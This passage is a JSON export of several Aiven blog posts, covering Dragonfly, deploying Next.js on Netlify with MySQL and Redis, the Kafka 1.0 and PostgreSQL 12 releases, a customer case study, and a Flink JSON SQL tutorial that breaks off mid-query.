including String, List, Set, Sorted Set, Hash, Pub/Sub Messaging, Stream, and Geospatial Index. Additionally, Dragonfly natively supports the popular JSON data type. It also offers powerful search features, enabling both faceted search and vector search.\n\n### 2. Single-Instance \u0026 Multi-Node Cluster\n\nAs mentioned above, Dragonfly is able to fully utilize powerful multi-core servers. With easy vertical scalability, Dragonfly is comfortable handling up to 1TB of in-memory data. While we believe this should cover a vast majority of the workloads, multi-node cluster mode is also supported with dynamic horizontal scalability under active development.\n\n![ Dragonfly Single Instance Can Handle Much Larger Workloads](https://cdn.sanity.io/images/sczeoy4w/production/40147149253fd05a42fddc83cedfa6d2c7075392-1001x715.png)*Dragonfly Single Instance Can Handle Much Larger Workloads*\n\n\n### 3. Efficient, Stable, and Cloud-Native Snapshotting\n\nSnapshotting in Dragonfly is based on versioning and asynchronous serialization. Unlike the conventional approach, which is based on [copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write) memory management, Dragonfly doesn't spike memory usage during snapshotting on write-heavy instances. In the meantime, snapshots can be directly saved to cloud-native storage systems such as Amazon S3 or via Kubernetes persistent volumes.\n\n### 4. High-Availability\n\nTo ensure reliability and seamless failover, high-availability through an eventually consistent primary-replica model is also supported. This can be achieved by using the [REPLICAOF](https://www.dragonflydb.io/docs/command-reference/server-management/replicaof) command, [Redis Sentinel](https://redis.io/docs/management/sentinel/), or the native [Dragonfly Kubernetes operator](https://www.dragonflydb.io/docs/managing-dragonfly/operator/installation).\n\n## Use Cases\n\n### Caching \n\nSimilar to Redis, Dragonfly serves as an efficient and dependable centralized caching solution for server-side applications, enhancing performance by reducing the need to frequently access slower, disk-based databases.\n\nSimilar to Redis, Dragonfly serves as an efficient and dependable centralized caching solution for server-side applications, enhancing performance by reducing the need to frequently access slower, disk-based databases.\n\n### Cardinality Measurement \u0026 Real-Time Statistics\n\nAlthough in-memory data stores typically struggle with complex analytical queries, Dragonfly is equipped with specific data types (such as Bitmap, HyperLogLog, and Set) designed for measuring unique counts and gathering statistical information. These data types are perfect for tracking unique page visits or managing real-time leaderboards.\n\n### Search\n\nAs highlighted earlier, Dragonfly excels at providing faceted search and vector search right out of the box, making it ideal for creating advanced search functionalities within applications.\n\n### Real-Time Messaging \u0026 Background Job Processing\n\nDragonfly not only facilitates efficient real-time messaging, perfect for applications needing instant data updates or chat functionalities, but it's also adept at background job processing. We are actively integrating and optimizing frameworks in this area, including BullMQ and Sidekiq, to ensure seamless operation and high performance for tasks scheduled to run in the background.\n\n## Aiven for Dragonfly is Available Now\n\nAs of March 20th, 2024, Aiven, the open-source cloud data platform company, [announced the general availability of Aiven for Dragonfly®](https://aiven.io/press/general-availability-of-aiven-for-dragonfly). This service brings all the powerful features of Dragonfly to your cloud, offering a scalable and fully managed solution.\n\n::banner[Explore and sign up for Aiven for Dragonfly today, and take full advantage of the solid functionalities that meet your business needs.]{ctaText=\"Learn more\" ctaLink=\"https://aiven.io/dragonfly\" title=\"Aiven for Dragonfly\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/49b048e58588a4a7acbe41dcf92c84379800936f-56x56.svg?w=300\" theme=\"dark\"}\n\n## FAQ\n\n### Is Dragonfly Compatible with Redis?\n\nYes, Dragonfly is compatible with Redis® in terms of the wire protocol, both RESP2 and RESP3, as documented in the [specification](https://redis.io/docs/reference/protocol-spec/). Existing Redis clients, SDKs, and GUI desktop managers can directly connect to Dragonfly. As of April 2024, Dragonfly supports [more than 240 Redis commands](https://www.dragonflydb.io/docs/command-reference/compatibility). In short, if Dragonfly supports the Redis commands you use, then your existing Redis code should work with Dragonfly out of the box.\n\n### Is Dragonfly open-source?\n\nDragonfly is a community-driven, source-available project hosted on [GitHub](https://github.com/dragonflydb/dragonfly). Dragonfly source code is available under the [Dragonfly Business Source License (BSL)](https://github.com/dragonflydb/dragonfly/blob/main/LICENSE.md). In short, developers are free to use Dragonfly for any use case other than offering a hosted in-memory data store. The license states: You may make use of Dragonfly: (i) as part of your own product or service, provided it is not an in-memory data store product or service; and (ii) provided that you do not use, provide, distribute, or make available the licensed work as a service.\n\nAiven for Dragonfly is a hosted in-memory data store service, which means that Dragonfly is licensed to Aiven under a different license based on collaboration and mutual agreement.\n\n### What is an in-memory database?\n\nAn in-memory database (or data store) is a type of database that primarily stores its data directly in the main memory (RAM) of a computer rather than on disk-based storage. This approach allows for faster data retrieval and processing compared to disk-based databases because accessing data in RAM is significantly faster than reading data from a disk. In-memory databases are normally used as a caching layer in a backend system, but they can handle other use cases as well. They are well-suited to applications where performance and low latency are critical. Some in-memory databases also provide on-disk storage options for backup and fast recovery purposes. Memcached, Redis, and Dragonfly are examples of in-memory databases.\n\n### What is a NoSQL database?\n\nA NoSQL database is a type of database that provides a mechanism for storage and retrieval of data that is modeled in a way other than the tabular relations used in relational databases. Unlike traditional relational databases that use tables, rows, and columns to store data, NoSQL databases can store structured, semi-structured, or unstructured data, making them more flexible in terms of the types of data they can handle. As suggested by the name, NoSQL databases often do not expose SQL as the querying and data manipulation interface to developers. We can further categorize NoSQL databases into key-value stores, document databases, wide-column databases, graph databases, and other specialized data stores. Under this categorization, Dragonfly can be primarily considered a key-value and document store, with additional real-time, statistics, and search capabilities.\n","categories":[{"_key":"af164b6ae7d1","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"},{"_key":"5f83a2428ec8","_ref":"ae3ed150-fa32-4d01-b160-f127f1ea16cd","_type":"reference"},{"_key":"68a3832946bf","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"26935d6ee6ef","_ref":"6M8DLtFLBnGLS1UOa20n4K","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-e0a5a9cd97dc2b1a1ebca6dacd9be6b073feb85a-2500x1308-png","_type":"reference"}},"publishedAt":"2024-04-11T06:17:13.093Z","related":[{"_key":"7c86d451ed73","_ref":"45bbd63f-c7e8-4335-b72d-b661d24e06b8","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover the power of Dragonfly: Scalability, resilience, and real-time messaging. Uncover the benefits of this cutting-edge in-memory data store solution now!\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e0a5a9cd97dc2b1a1ebca6dacd9be6b073feb85a-2500x1308-png","_type":"reference"}},"metaTitle":"Dragonfly: The ultra-performant in-memory database | Aiven"},"slug":{"_type":"slug","current":"/blog/what-is-dragonfly"},"subtitle":"Discover the power of Dragonfly: Scalability, resilience, and real-time messaging. Uncover the benefits of this cutting-edge in-memory data store solution now!\n","title":"What is Dragonfly?"} {"__i18n_lang":"en","_createdAt":"2023-09-06T11:37:55Z","_id":"2df872d8-b37b-45d1-bae5-5c8fe08dece8","_rev":"h4ancfFTuSnQNBSq3JGpWe","_type":"post","_updatedAt":"2024-11-19T11:33:28Z","authors":[{"_key":"45b103920c4a","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"Meet Alex, a talented front-end developer, skillful at building efficient and elegant applications using JavaScript, API and Markup (JAM) stack. Even though she's really good at front-end development, there's still one area that she finds puzzling: making the application communicate to a production-grade database and move the code from her local machine to the real-world, live environment.\n\nThen, she heard about [Netlify](https://netlify.com) and Aiven. Netlify is a platform known for its ability to host and deploy JAMstack applications with ease and Aiven is a trusted open-source data platform that lets Alex create reliable and enterprise-ready data services like [MySQL](https://aiven.io/mysql) and [Redis®*](https://aiven.io/caching).\n\nIn this tutorial, we accompany Alex on her journey from being a developer with little knowledge about production-grade databases and deployment, all the way to mastering the process of deploying a robust, secure, and scalable Next.js applications on Netlify, integrated seamlessly with MySQL and Redis.\n\n## But... how does this work?\n\nA picture is worth a thousand words. Let's looks at the following architecture diagram:\n\n![Architectural diagram for a Netlify and Aiven deployment. The left hand side shows the services in a developer's local environment, with MySQl and Redis running in local containers for testing. The developer then pushes those changes to GitHub, and on the right hand side there are two boxes describing what happens in Netlify and what happens in Aiven. The app is deployed to Netlify, which handles security, scalability and robustness for the front-end. The Redis and MySQL databases are deployed using Aiven and the app communicates with Aiven over a secure connection.](https://cdn.sanity.io/images/sczeoy4w/production/55b6843cf15cec1887bfefe7022570c457ee1bc4-6114x2283.png)\n\nThis architecture diagram splits the application's lifecycle into two distinct sections: the development environment and the production environment.\n\nOn the left-hand side, we have the development environment where our protagonist, Alex, spends most of her time. Here, three critical elements exist:\n\n1. A web browser pointing to localhost:8080, which allows Alex to interact with and observe the behavior of her application in real-time.\n\n2. A set of local source code files, where Alex crafts the application, line by line.\n\n3. A Docker image for running the databases locally, enabling Alex to simulate a more realistic, production-like environment during the development process.\n\nOnce Alex is satisfied with her work, an arrow shows how she pushes her code from her local development environment to a centrally located GitHub repository.\n\nIn the middle of the diagram, the GitHub icon acts as the bridge between the development and production environments. Upon each push to the repository, a webhook triggers an action that leads us into the right-hand side of the diagram: the production environment.\n\nIn the production environment, we see the application in its mature, fully realized state. It's here that the application, now deployed on Netlify, is secure, scalable, and reliable. It's ready to perform under the pressure of potentially millions of users, a testament to its robust architecture.\n\nThe production application communicates with [Aiven for MySQL](https://aiven.io/mysql) and [Aiven for Caching](https://aiven.io/caching). They are the robust and reliable backbones of our application, helping maintain performance, even as the user load scales up.\n\nBy following this architectural flow, we see the journey of the application, from Alex's local development setup to the sturdy production-ready system that serves millions of users.\n\n## You got me hooked. How do I start?\n\nGreat! We have written [a detailed tutorial](https://aiven.io/developer/deploy-netlify-app-aiven-pg-redis) that you can follow. This tutorial uses a PostgreSQL® database instead of MySQL. Once you have completed the tutorial, it's fairly easy to swap PostgreSQL with MySQL, as these components are modular. Let's look at the sections where you'll make the changes.\n\n### Set up the services\n\n[This tutorial](https://aiven.io/developer/deploy-netlify-app-aiven-pg-redis) begins with some pre-requisite accounts setup and tool installations. When you've completed that part and have moved to [Create free PostgreSQL and Redis services](https://aiven.io/developer/deploy-netlify-app-aiven-pg-redis#create-free-postgresql-and-redis-services) part, create a **MySQL** service instead of a **PostgreSQL** one for this tutorial. When you're done, you should have:\n\n- An Aiven for MySQL service running, and\n- An Aiven for Caching service running\n\n### Get the application code\n\n[This](https://github.com/Aiven-Labs/nextjs-netlify/) is the original GitHub repository for the tutorial that uses a PostgreSQL backend. I've forked the repository and made changes to the source code so that it works with a MySQL backend instead.\n\nFork and clone the repository with the GitHub CLI:\n\n\u003c!-- double check where the final repo will be --\u003e\n\n```shell\ngh repo fork https://github.com/Aiven-Labs/nextjs-netlify-aiven-mysql.git \\\n --clone --remote\n```\n\nThe key change in this repository are the provider and schema details in the ORM ([Prisma](https://www.prisma.io/)) going from `postgresql` to `mysql` and the recipe model. The recipe model replaces `String[]` with `String` for directions since MySQL doesn't have built-in support for arrays. If you observe the `prisma/schema.prisma` file, it looks like this:\n\n```\n// This is your Prisma schema file,\n// learn more about it in the docs: https://pris.ly/d/prisma-schema\n\ngenerator client {\n provider = \"prisma-client-js\"\n}\n\ndatasource db {\n provider = \"mysql\"\n url = env(\"DATABASE_URL\")\n}\n\nmodel Recipe {\n id Int @id @default(autoincrement())\n recipeName String @map(\"recipe_name\")\n prepTimeMinutes Int @map(\"prep_time_minutes\")\n cookTimeMinutes Int? @map(\"cook_time_minutes\")\n totalTimeMinutes Int @map(\"total_time_minutes\")\n servings Int\n yield String?\n ingredients Json\n directions String\n rating Float\n url String?\n imgSrc String?\n nutrition String?\n isLiked Boolean @default(false) @map(\"is_liked\")\n\n @@map(\"recipes\")\n}\n```\n\n## Deploy the application\n\nFollow the rest of the tutorial to [deploy the application](https://aiven.io/developer/deploy-netlify-app-aiven-pg-redis#deploy-the-application). Remember to use the MySQL database URL for the `DATABASE_URL` variable instead of PostgreSQL.\n\n## Next steps\n\nNow that Alex deployed her Next.js application to Netlify with a robust data platform as the backend (yes, that's Aiven), she can venture off to learn about other data services she can use on the Aiven platform. Alex will also benefit from the built-in logging and monitoring of services that Aiven providers. To top it all off, she can leverage Aiven Terraform Provider to automate the creation of all data services. Check out the following links to learn more:\n\n- [Explore Aiven services](https://docs.aiven.io/)\n- [Aiven monitoring and logs](https://aiven.io/docs/platform/howto/list-monitoring)\n- [Aiven Terraform Provider](https://aiven.io/docs/tools/terraform)\n","categories":[{"_key":"36f47138d501","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"84f57bf4c744","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"},{"_key":"6b9ed5b161b5","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"The words \"getting started with Netlify and Aiven\" in white on a blue background with abstract shapes on it. The Aiven logo is in the bottom left.","asset":{"_ref":"image-cf4d56df0a4b20c13b8fa9aa4987626eedf20536-1567x844-png","_type":"reference"}},"publishedAt":"2023-09-12T10:00:00.000Z","related":[{"_key":"0ae6393365e2","_ref":"C1uHqSo76FttzNKfqvt25","_type":"reference"},{"_key":"d626ae98279d","_ref":"1vjknmEaGKkLhki8EC08Ua","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Master the process of deploying secure and scalable Next.js applications on Netlify, integrated seamlessly with MySQL and Redis. Visit the Aiven blog!","metaImage":{"_type":"mainImage","alt":"The text \"Getting started with Netlify and aiven\" against a blue background with abstract shapes. The logo for Aiven is in the lower left corner.","asset":{"_ref":"image-cf4d56df0a4b20c13b8fa9aa4987626eedf20536-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/getting-started-with-netlify-and-aiven"},"subtitle":"Deploy a JAMstack web application on Netlify with data services provided by Aiven!","title":"Getting started with Netlify and Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2hXkqaDH9IwFqP8JWGrE6K","_rev":"cEPH2uRN58AU2lp9QO7hO5","_type":"post","_updatedAt":"2022-09-08T16:17:38Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"After seven years of development, Apache Kafka released version 1.0.0 this past November.\n\nNeha Narkhede, CTO of Confluent, stated that it represents a \"Completeness of our vision.\"\n\nThat's a pretty big statement and is representative of 1.0.0 not merely being a version change, but something bigger. Let's look at Aiven's take on some of the highlights of the version release.\n\n### **Enhanced metrics support**\n\nYou can get more information about the health of your Kafka service because of the **increased granularity** of the available data.\n\nThis will help Kafka gain more traction in enterprise deployments as there's better visibility into its inner workings. Aiven Kafka will be making these metrics available to you in the upcoming weeks.\n\n\n### Support for Java 9\n\nBrings much improved performance in communication over TLS: **numbers of up to 250% improved performance have been reported**. Aiven will provide support for this later on in 2018.\n\n\n### Notable bug fixes \n\n**1.** Speed increase of broker startup after unclean shutdown\n\nBy reducing unnecessary snapshot file deletions, [restarts after an unclean shutdown](https://issues.apache.org/jira/browse/KAFKA-5829) are up to an order of magnitude faster than before.\n\nThis **improves recovery times** in situations where things have already gone wrong.\n\n**2.** Improved memory usage during partition reassignment\n\nIn 0.11, [memory usage would spike during partition reassignment](https://issues.apache.org/jira/browse/KAFKA-6134). Now, there is more efficient memory usage for partition reassignments during rebalances within Aiven Kafka.\n\n_Why both are important_: improved resource management equals improved stability and performance. \n\n### Aiven ensures that Apache Kafka 1.0 is ready for production use\n\nAs excited as we are for new releases, they are rarely ready for production use out of the box and Kafka 1.0 was no different.\n\nMost notably, there was an [issue surrounding memory leakage](https://issues.apache.org/jira/browse/KAFKA-6185) that needed to be resolved.\n\nAfter much work from the community, **we have now made Apache Kafka 1.0 available** on the Aiven platform.\n\n### Get Aiven Kafka 1.0 today\n\nAll newly created Aiven Kafka services will be running on 1.0 automatically and we will be upgrading current client Kafka services in January.\n\nIf you are a current client and wish to upgrade to Kafka 1.0 earlier, feel free to do so by clicking the maintenance upgrade button within your customer panel.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-711037a1e6b6c024e8920e375d28e7c14f26c663-752x405-png","_type":"reference"}},"publishedAt":"2017-12-19T14:38:00.000Z","seo":{"metaDescription":"Kafka 1.0 is now available on the Aiven platform. Read our latest post to learn what’s new and why we waited a little while to release it.","metaImage":{"alt":"","asset":{"_ref":"image-711037a1e6b6c024e8920e375d28e7c14f26c663-752x405-png","_type":"reference"}},"metaTitle":"Aiven Kafka 1.0 Is Now Ready"},"slug":{"_type":"slug","current":"/blog/aiven-kafka-1-ready"},"subtitle":"Kafka 1.0 is now available on the Aiven platform. Read our latest post to learn what’s new and why we waited a little while to release it.","title":"Aiven Kafka 1.0 Is Now Ready"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2tmkLNy7dKDCdqdz5NwYjV","_rev":"2TBrbODd4ENN9GFOVLnjHd","_type":"post","_updatedAt":"2023-08-03T10:36:56Z","authors":[{"_key":"7Hxte8tqh1KGbCYCQOPHsP","_ref":"7Hxte8tqh1KGbCYCQOPHsP","_type":"reference"}],"body":"[Spare](https://sparelabs.com/en/) is a global transportation systems provider that offers a platform for municipalities around the world to build public transit and micromobility services for their citizens.\n\nSpare’s journey in building their platform is as unique as it is interesting. Download the case study to find out how Aiven for PostgreSQL greatly improved the reliability of Spare’s platform and saved them the cost of two full-time engineers in the process.\n\nTo read more Aiven case studies from other companies such as Comcast and Paf, visit our [case studies](/case-studies) page. And don't forget to subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, and follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n\n[![Spare-CS-CTA](//cdn.sanity.io/images/sczeoy4w/production/fb9201c690bfcb461e245f0385da4436234e1a21-768x226.png)](/case-studies/aiven-for-postgresql-helps-spare)","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-c7292af483efa2e4e13424fe2011bc5daf1fda60-1567x844-png","_type":"reference"}},"publishedAt":"2020-08-17T00:00:00.000Z","seo":{"metaDescription":"Find out why Spare, a global transportation systems provider, chose Aiven for PostgreSQL for their application database needs.","metaImage":{"alt":"","asset":{"_ref":"image-c7292af483efa2e4e13424fe2011bc5daf1fda60-1567x844-png","_type":"reference"}},"metaTitle":"Spare partners with Aiven to build city transportation systems"},"slug":{"_type":"slug","current":"/blog/spare-uses-aiven-to-build-city-transport-systems"},"subtitle":"Find out why Spare, a global transportation systems provider, chose Aiven for PostgreSQL for their application database needs.","title":"Spare partners with Aiven to build city transportation systems"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3KPeUJpbWM730Z9GEbIuQ1","_rev":"ZLvKaZvfbZlWBlGcpInqu4","_type":"post","_updatedAt":"2024-01-29T15:37:49Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"You can now create a PostgreSQL 12 service on any of Aiven’s supported clouds, making Aiven the first cloud service to provide [managed PostgreSQL 12](/postgresql).\n\nPostgreSQL's latest version upgrade brings improvements to the table in all areas from better performing B-tree indexes to a more mature partitioning system.\n\n## Major enhancements including partitioning improvements\n\nGeneral performance improvements include space usage optimization and read/write performance for B-tree indexes. \n\n__There are also a number of partitioning enhancements:__ \n* improved query performance on tables with thousands of partitions \n* improved insertion performance (```INSERT``` and ```COPY```)\n* the ability to run ``ALTER TABLE ATTACH PARTITION`` without encountering blocking queries\n\n__Additional major enhancements:__\n* support for SQL/JSON path language\n* stored generated columns\n* enablement of case-insensitive and accent-insensitive grouping and ordering\n* new server-side authentication features\n\nFor a complete list of improvements built into PostgreSQL 12, have a look at the release [page](https://www.postgresql.org/docs/12/release-12.html).\n\n## How to get managed PostgreSQL 12\nWhen creating the service from the Aiven console, simply select ‘12’ in the drop-down menu from the PostgreSQL service box, choose your preferred cloud and region, and cluster size. \n\nYou also have a number of alternatives when creating a new PostgreSQL 12 service, such as the [Aiven REST API](https://aiven.io/docs/tools/api), [CLI](https://aiven.io/blog/command-line-magic-with-the-aiven-cli), and your [Terraform tooling](https://help.aiven.io/en/articles/2370350-aiven-terraform-integration).\n\nFor those of you using an older version who want to upgrade their current cluster to PostreSQL 12, you can perform an [in-place upgrade](https://help.aiven.io/en/articles/2461799-how-to-perform-a-postgresql-in-place-major-version-upgrade).\n\n## Wrapping up\nWith PostgreSQL 12, you have improved performance on partitioning and indexes as well as a range of new features. We’ll always quickly add the latest versions to our services, so remember to follow our [blog](/blog/feed.xml) and [changelog](/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/).\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-f4977dca6b2a1d9f4e46b834664500349984f323-752x405-png","_type":"reference"}},"publishedAt":"2019-11-15T00:00:00.000Z","seo":{"metaDescription":"PostgreSQL 12 is now available on Aiven. Find out how it'll greatly improve space usage and partitioning, and how you can access it today!","metaImage":{"alt":"","asset":{"_ref":"image-f4977dca6b2a1d9f4e46b834664500349984f323-752x405-png","_type":"reference"}},"metaTitle":"Aiven supports managed PostgreSQL® 12"},"slug":{"_type":"slug","current":"/blog/aiven-releases-postgesql-12"},"subtitle":"PostgreSQL 12 is now available on Aiven. Find out how it'll greatly improve space usage and partitioning, and how you can access it today!","title":"Aiven supports managed PostgreSQL® 12"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"3M57bBHrZJEnvxaIodfEwc","_rev":"lhvtNBOlLYH5KiQFQ8YWg7","_type":"post","_updatedAt":"2024-01-29T15:40:49Z","authors":[{"_key":"2HqAyFsloNhNId8CD2Rq77","_ref":"2HqAyFsloNhNId8CD2Rq77","_type":"reference"}],"body":"## A sneak preview of the JSON SQL functions in Apache Flink® 1.15.0\n\nThe Apache Flink® SQL APIs are becoming very popular and nowadays represent the main entry point to build streaming data pipelines. The Apache Flink® community is also increasingly contributing to them with new options, functionalities and connectors being added in every release.\n\nAn example of the increasing interest in Flink SQL is the JSON support in Table SQL. JSON is one of the most used formats in the data world, with basic Apache Flink JSON functions being available in 1.14, and new capabilities added in every release. In this blog post we are going to look at what is going to be available in Apache Flink ``1.15.0-SNAPSHOT`` which is not officially released yet. Therefore, if you want to be able to touch and play with it right now you'll need to clone Apache Flink's [source code](https://github.com/apache/flink) and build it yourself or wait for the official 1.15.0 release. The details on how to build Apache Flink® you can find at [Building Flink from Source](https://nightlies.apache.org/flink/flink-docs-master/docs/flinkdev/building/).\n\n### The use case\n\nFor the purpose of this blog post, we are going to mimic an inbound dataset of IoT sensors. These sensors are suppliers of measured data within the area they are located. From one side the message is in JSON format with possible nested JSON fields, from the other side, since devices could be defective, there could be an invalid JSON.\n\nWhen we monitor any area we might want to do analysis, for instance for each timestamp and metric find a group of areas with corresponding maximum measurement value and show it as a new JSON message.\n\nAs we will see, Apache Flink® allows parsing and building nested JSON using SQL only statements and to reach our goal SQL here would be enough.\n\n### Explore the dataset\n\nOnce Apache Flink® 1.15.0 is ready to use, we can focus on the dataset; for instance, we could create a streaming dataset in an Apache Kafka® topic and connect Apache Flink® to it as explained in a [previous blog post](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka). However, to demonstrate the full power of the Apache Flink® JSON functions, we need a nested JSON dataset.\n\nAs we mentioned earlier we want to mimic IoT devices emitting sensor reading messages from various places around the world. We can store the following messages (one per line) in a file named `iot-readings.json`.\n\n```json\n{\"id\":1,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":23,\"dimension\":\"℃ \"},\"location\": \"Berlin\", \"timestamp\":\"2018-12-10 13:45:00.000\"}}\n{\"id\":2,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":16,\"dimension\":\"℃ \"},\"location\": \"Berlin\", \"timestamp\":\"2018-12-10 13:55:00.000\"}}\n{\"id\":3,\"name\": \"comment2\",\"payload\": \"Out of Order\"}\n{\"id\":4,\"name\": \"Light Sensor\",\"payload\": {\"data\": {\"metric\": \"Light\", \"value\":23, \"dimension\": \"Ev\"}, \"location\": \"Berlin\", \"timestamp\": \"2018-12-10 13:45:00.000\"}}\n{\"id\":5,\"name\": \"Noise Sensor\", \"payload\": {\"data\": {\"metric\": \"Noise\", \"value\":43, \"dimension\": \"\"}, \"timestamp\": \"2018-12-10 13:45:00.000\"}}\n{\"id\":6,\"name\": \"Temperature Sensor\", \"payload\": {: {\"metric\":\"Temperature\",\"value\":23,\"dimension\":\"℃ \"},\"location\": \"Paris\"}, \"timestamp\":\"2018-12-10 13:45:00.000\"}\n{\"id\":7,\"name\": \"Light Sensor\",\"payload\": {\"wrong_data\": {\"metric\": \"Light\", \"value\":23, \"dimension\": \"Ev\"}, \"location\": \"Paris\", \"timestamp\":\"2018-12-10 13:45:00.000\"}}\n{\"id\":8,\"name\": \"Noise Sensor\",\"payload\": {}}\n{\"id\":9,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":23,\"dimension\":\"℃ \"},\"location\": \"Paris\", \"timestamp\":\"2018-12-10 13:45:00.000\"}}\n{\"id\":10,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":12,\"dimension\":\"℃ \"},\"location\": \"Paris\", \"timestamp\":\"2018-12-10 13:55:00.000\"}}\n{\"id\":11,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":23,\"dimension\":\"℃ \"},\"location\": \"London\", \"timestamp\":\"2018-12-10 13:45:00.000\"}}\n{\"id\":12,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":23,\"dimension\":\"℃ \"},\"location\": \"Rome\", \"timestamp\":\"2018-12-10 13:45:00.000\"}}\n{\"id\":13,\"name\": \"Temperature Sensor\",\"payload\": {\"data\": {\"metric\":\"Temperature\",\"value\":28,\"dimension\":\"℃ \"},\"location\": \"Rome\", \"timestamp\":\"2018-12-10 13:55:00.000\"}}\n```\n\nAlmost all the above messages have a JSON format and the `payload` attribute contains nested JSON. However, we can also expect some broken IoT devices in the field producing empty or wrong messages like `{\"id\":3,\"name\": \"comment2\",\"payload\": \"Out of Order\"}`. We want to build reliable data pipelines, therefore we expect that receiving such incorrect messages from several defective devices is not going to stop the data flow.\n\nOne of the ways to provide such messages to Apache Kafka is by extending the [Python fake data producer for Apache Kafka](https://github.com/aiven/python-fake-data-producer-for-apache-kafka), or we could use tools like [kcat](https://aiven.io/docs/products/kafka/howto/kcat.html#produce-data-to-an-apache-kafka-topic).\n\n### Define the Apache Flink® table\n\nTo be able to process the data in the Apache Kafka topic, we need to define an Apache Flink table on top. With Flink SQL client, we can define the table with the following SQL statement:\n\n```sql\nCREATE TABLE\n sensors (\n id STRING,\n name STRING,\n payload STRING\n // Here we declare payload as STRING type since there is no JSON datatype in Apache Flink®\n ) WITH (\n 'connector' = 'kafka',\n ...\n // Other properties should be filled based on your connection settings to Apache Kafka\n ...\n);\n```\n\n### Analyse data using Apache Flink® JSON functions\n\nWith the table defined, we can start filtering out the badly formed records coming from broken IoT devices. We can achieve that by keeping only messages with valid JSON in the `payload` field which also contains the `data` attribute. The new `JSON_EXISTS` function solves exactly this problem:\n\n```sql\nSELECT * \nFROM sensors \nWHERE JSON_EXISTS(payload, '$.data');\n```\nIn the above SQL, a special character `$` denotes the root node in a JSON path from which we can access properties, like `$.data`. \nIf we need to parse arrays, we can use a similar syntax to access an precise element by position (`$.a[0].b`), or retrieve properties for each element in the array (`$.a[*].b`).\n\nThe above SQL generates the following output: \n\n```\n id name payload\n 1 Temperature Sensor {\"data\":{\"metric\":\"Temperatur~\n 2 Temperature Sensor {\"data\":{\"metric\":\"Temperatur~\n 4 Light Sensor {\"data\":{\"metric\":\"Light\",\"va~\n 5 Noise Sensor {\"data\":{\"metric\":\"Noise\",\"va~\n 9 Temperature Sensor {\"data\":{\"metric\":\"Temperatur~\n 10 Temperature Sensor {\"data\":{\"metric\":\"Temperatur~\n 11 Temperature Sensor {\"data\":{\"metric\":\"Temperatur~\n 12 Temperature Sensor {\"data\":{\"metric\":\"Temperatur~\n 13 Temperature Sensor {\"data\":{\"metric\":\"Temperatur~\n\n```\n\nAfter filtering only the valid messages, we can start analyzing the data. For example, we might need to extract the city, stored in the `location` attribute of the correctly formed messages. We can use the `JSON_VALUE` function, retrieving a scalar from a JSON field, to retrieve the needed information:\n\n```sql\nSELECT DISTINCT JSON_VALUE(payload, '$.location') AS `city`\nFROM sensors \nWHERE JSON_EXISTS(payload, '$.data');\n```\nThe result should be the following. Please note that one of the messages has a `\u003cNULL\u003e` city, this is due to the message not containing the `location` attribute.\n\n```\n city\n Berlin\n \u003cNULL\u003e\n Paris\n London\n Rome\n```\nThe `JSON_VALUE` function extracts data as `STRING`s by default. However, we might want to change the resulting datatype, specifically in cases when the output is a number for which we want to perform some calculation.\n\nFor instance, if we want to calculate average temperature by city, we can get the sensor reading by extracting the payload field `.data.value`, with the `RETURNING` option casting it to `INTEGER`. Finally we can aggregate over the `.location` field:\n\n```sql\nSELECT \n AVG(JSON_VALUE(payload, '$.data.value' RETURNING INTEGER)) AS `avg_temperature`, \n 